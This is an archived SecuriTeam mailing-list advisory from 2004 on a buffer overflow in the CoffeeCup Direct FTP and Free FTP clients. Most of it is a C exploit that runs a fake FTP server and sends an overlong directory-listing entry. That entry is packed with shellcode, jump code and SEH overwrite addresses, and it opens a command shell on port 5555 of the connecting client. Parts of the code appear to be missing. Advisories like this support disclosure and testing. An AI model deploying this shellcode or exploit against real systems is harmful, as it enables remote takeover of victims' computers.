

[EXPL] CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-11/0082.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/23/04

To: list@securiteam.com

Date: 23 Nov 2004 14:19:33 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit

SUMMARY

<<http://www.coffeecup.com/free-ftp/>> CoffeeCup FTP is "a fast no frills FTP program that makes it easy to drag and drop files to and from your Website".

A client side vulnerability in the program allows remote attacker to cause CoffeeCup FTP to execute arbitrary code. The flaw lies in the way CoffeCup handles long files names. The following exploit code can be used to test your version for the mentioned vulnerability.

DETAILS

Exploit:

```
/******
```

CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit

created by Komrade

e-mail: [unsecure\(at\)altervista\(dot\)org](mailto:unsecure(at)altervista(dot)org)

web: <http://unsecure.altervista.org>

Securiteam: [EXPL] CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit

Tested on:

CoffeeCup Direct FTP 6.2.0.62

CoffeeCup Free FTP 3.0.0.10

on a Windows XP Professional sp2 operating system.

This exploit creates a fake FTP server on your machine, waiting for the connection of an FTP client.

After the exploit is sent a shell (command prompt) is spawn on port 5555 of the target machine.

This exploit works locally or remotely.

Usage: coffeecupbof [direct | free] [-l] [-r server IP]

Options:

direct | free "direct" to exploit a CoffeeCup Direct FTP client

"free" to exploit a CoffeeCup Free FTP client

-l executed locally

-r serverIP executed remotely. You need to specify the address of the FTP server for the PASV command (Insert your IP address)

Examples:

```
C:\> coffeecupbof direct -l exploit for CoffeeCup Direct FTP executed locally
```

```
C:\> coffeecupbof free -r 10.0.0.1 exploit for CoffeeCup Free FTP executed remotely
```

```
*****/
```

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#include <windows.h>
```

```
#include <winsock.h>
```

```
#define FTP_PORT 21
```

```
#define PASV_PORT 1106
```

```
int version, wait = TRUE;
```

```
DWORD WINAPI fileList(LPVOID data);
```

```
int main(int argc, char **argv){
```

```
SOCKET sock, client;
```

```
struct sockaddr_in sock_addr, client_addr;
```

```
WSADATA data;
```

```
WORD p;
```

```
char mess[4096], received[512], addr[32];
```

```
int lun, n, i, err;
```

```
HANDLE fileListH;
```


Securiteam: [EXPL] CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit

```
strcpy(addr, "\\0");

for(i=0; (i < 4) && (token[i]!= NULL); i++){
    strlcat(addr, token[i], 16);
    strcat(addr, ",");
}
}
else
    strcpy(addr, "127,0,0,1,");

sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(FTP_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;

    err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct
sockaddr_in));
if (err < 0){
    printf("Error in bind(). Port may be in use\r\n");
    return -1;
}
err = listen(sock,1);
if (err < 0){
    printf("Error in listen()\r\n");
    return -1;
}

lun = sizeof (struct sockaddr);

printf("Opening the FTP port and waiting for connections...\r\n");
client = accept(sock, (struct sockaddr*)&client_addr, &lun);
printf("Client connected from IP: %s\r\n\r\n",
inet_ntoa(client_addr.sin_addr));

strcpy(mess, "220 CoffeeCup FTP Clients Buffer Overflow Vulnerability
Exploit\r\n");
n=send(client, mess, strlen(mess), 0);
if (n < 0){
    printf("Error in send()\r\n");
    return -1;
}

while(wait == TRUE){

    Sleep(800);
    n = recv(client, received, sizeof(mess), 0);
    if (n < 0){
        printf("Error in recv()\r\n");
        return -1;
    }
}
```

Securiteam: [EXPL] CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit

```
received[n]=0;
printf("CLIENT: %s", received);

if (stricmp("USER", strtok(received, " ")) == 0)
    strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
else if (stricmp("PASS", strtok(received, " ")) == 0)
    strcpy(mess, "230 Anonymous user logged in.\r\n");
else if (stricmp("PWD\r\n", received) == 0)
    strcpy(mess, "257 \"\" is current directory.\r\n");
else if (stricmp("CWD", strtok(received, " ")) == 0)
    strcpy(mess, "257 \"\" is current directory.\r\n");
else if (stricmp("TYPE", strtok(received, " ")) == 0)
    strcpy(mess, "200 Type set to A.\r\n");
else if (stricmp("PASV\r\n", received) == 0){
    fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
    if (fileListH == NULL)
        printf("Error in CreateThread() %d", GetLastError());
    wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
}
else if (stricmp("LIST", strtok(received, " ")) == 0 ||
stricmp("LIST\r\n", received) == 0){
    strcpy(mess, "125 Data connection already open; Transfer
starting.\r\n");
    printf("SERVER: %s\r\n", mess);
    n=send(client, mess, strlen(mess), 0);
    if (n < 0){
        printf("Error in send()\r\n");
        return -1;
    }
    wait = FALSE;

    do{
        GetExitCodeThread(fileListH, &exitCode);
        Sleep(100);
    }
    while(exitCode == STILL_ACTIVE);
    printf("< Long file name sent to client >\r\n\r\n");

    strcpy(mess, "226 Transfer complete.\r\n");
}
else
    strcpy(mess, "550 Unimplemented\r\n");

printf("SERVER: %s\r\n", mess);
n = send(client, mess, strlen(mess), 0);
if (n < 0){
    printf("Error in send()\r\n");
    return -1;
}
}
```

Securiteam: [EXPL] CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit

```
printf("Wait.....");  
Sleep(2000);  
printf("Exploit succesfully sent!\r\n");  
printf("Connect to %s port 5555 for the shell\r\n",  
inet_ntoa(client_addr.sin_addr));
```

```
closesocket (client);  
closesocket(sock);
```

```
WSACleanup();  
return 0;  
}
```

```
DWORD WINAPI fileList(LPVOID data){
```

```
char shellcode[] =  
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB"  
"\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12"  
"\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12"  
"\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8"  
"\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E"  
"\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"  
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"  
"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5"  
"\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0"  
"\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12"  
"\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66"  
"\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD"  
"\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF"  
"\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA"  
"\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9"  
"\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"  
"\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66"  
"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB"  
"\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"  
"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8"  
"\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA"  
"\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99"  
"\xF8\xFA\xFA\xFC\xE9\xED\x99";
```

```
char shelljump1[] = "\x90\xEB\xBA\x90";
```

```
char shelljump2[] =  
"\x58\xB9\x21\xFC\xFF\xFF\xF7\xD1\x2B\xC1\xFF\xE0\xE8\xEF\xFF\xFF\xFF";
```

```
char SEHAddr1[] = "\x50\x39\x06\x6D";  
char SEHAddr2[] = "\x0D\xA8\x03\x6D";
```

```
SOCKET sock, client, list;  
struct sockaddr_in sock_addr, client_addr;
```

Securiteam: [EXPL] CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit

```
WSADATA wData;
WORD p;
char mess[4096];
int lun, n, i, err;

p = MAKEWORD(2, 0);
WSAStartup(p, &wData);

sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(PASV_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct
sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen().\r\n");
return -1;
}

lun = sizeof (struct sockaddr);

client = accept(sock, (struct sockaddr*)&client_addr, &lun);

while (wait == TRUE)
Sleep(100);

strcpy(mess, "03-04-81 12:00PM 3 ");

for(i=strlen(mess); i<100; i++)
mess[i]=0x90;
mess[i]='\0';

strcat(mess, shellcode);

for(i=strlen(mess); i<1000; i++)
mess[i]=0x90;
mess[i]='\0';

strcat(mess, shelljump2);

for(i=strlen(mess); i<1079; i++)
mess[i]=0x90;
mess[i]='\0';

strcat(mess, shelljump1);
if (version == 1)
```

Securiteam: [EXPL] CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit

```
strcat(mess, SEHAddr1);
else
strcat(mess, SEHAddr2);

for(i=strlen(mess); i<1300; i++) // cause the exception
mess[i]='b';
mess[i]='\0';

strcat(mess, "\r\n");

n = send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}

closesocket(sock);
closesocket(client);
WSACleanup();

return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:unsecure@altermvista.org>>
unsecure.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.